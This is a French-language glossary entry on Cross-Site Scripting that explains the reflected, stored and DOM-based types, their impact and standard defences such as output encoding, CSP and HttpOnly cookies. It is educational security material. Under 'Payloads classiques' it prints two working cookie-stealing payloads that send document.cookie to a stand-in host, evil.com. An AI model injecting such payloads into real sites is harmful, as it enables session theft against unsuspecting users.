XSS
Vulnérabilité web permettant à un attaquant d'injecter du code JavaScript malveillant dans une page consultée par d'autres utilisateurs, pour voler des sessions, rediriger ou manipuler le DOM.
Le Cross-Site Scripting (XSS) est classé A03 dans l'OWASP Top 10 2021. Il se produit quand une application intègre des données non validées dans sa sortie HTML sans encodage approprié.
Types de XSS :
Reflected XSS : le payload est dans l'URL, exécuté immédiatement, non persisté
Stored XSS : le payload est stocké en base (commentaires, pseudos) et exécuté à chaque visite
DOM-based XSS : manipulation du DOM côté client sans passer par le serveur
Payloads classiques :
javascript
<script>document.location='https://evil.com/steal?c='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+btoa(document.cookie))">Impact : Vol de cookies de session, keylogging, redirection vers phishing, défacement, exploitation de confiance.
Défense :
Encodage systématique des sorties (HTML entities)
Content Security Policy (CSP) strict — bloque l'exécution inline
HttpOnly+Securesur les cookiesDOMPurify pour la sanitisation côté client et serveur
Validation des entrées (jamais suffisante seule)
Question fréquente
Quelle est la différence entre XSS stocké et XSS réfléchi ?
Le XSS réfléchi nécessite que la victime clique sur un lien contenant le payload — il n'est pas sauvegardé. Le XSS stocké est persisté en base de données et s'exécute automatiquement pour tous les utilisateurs consultant la page infectée, le rendant bien plus dangereux.